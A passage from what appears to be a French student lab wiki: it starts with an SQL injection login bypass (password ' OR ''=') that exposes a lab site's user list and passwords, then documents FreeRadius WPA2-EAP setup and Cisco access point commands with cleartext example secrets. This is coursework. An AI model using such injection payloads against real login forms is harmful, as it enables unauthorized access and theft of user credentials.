Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Interface eth0]]]

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

Fichier:Honey Léna.png

2020-11-17T12:53:49Z

Lchenu : Lchenu a téléversé une nouvelle version de Fichier:Honey Léna.png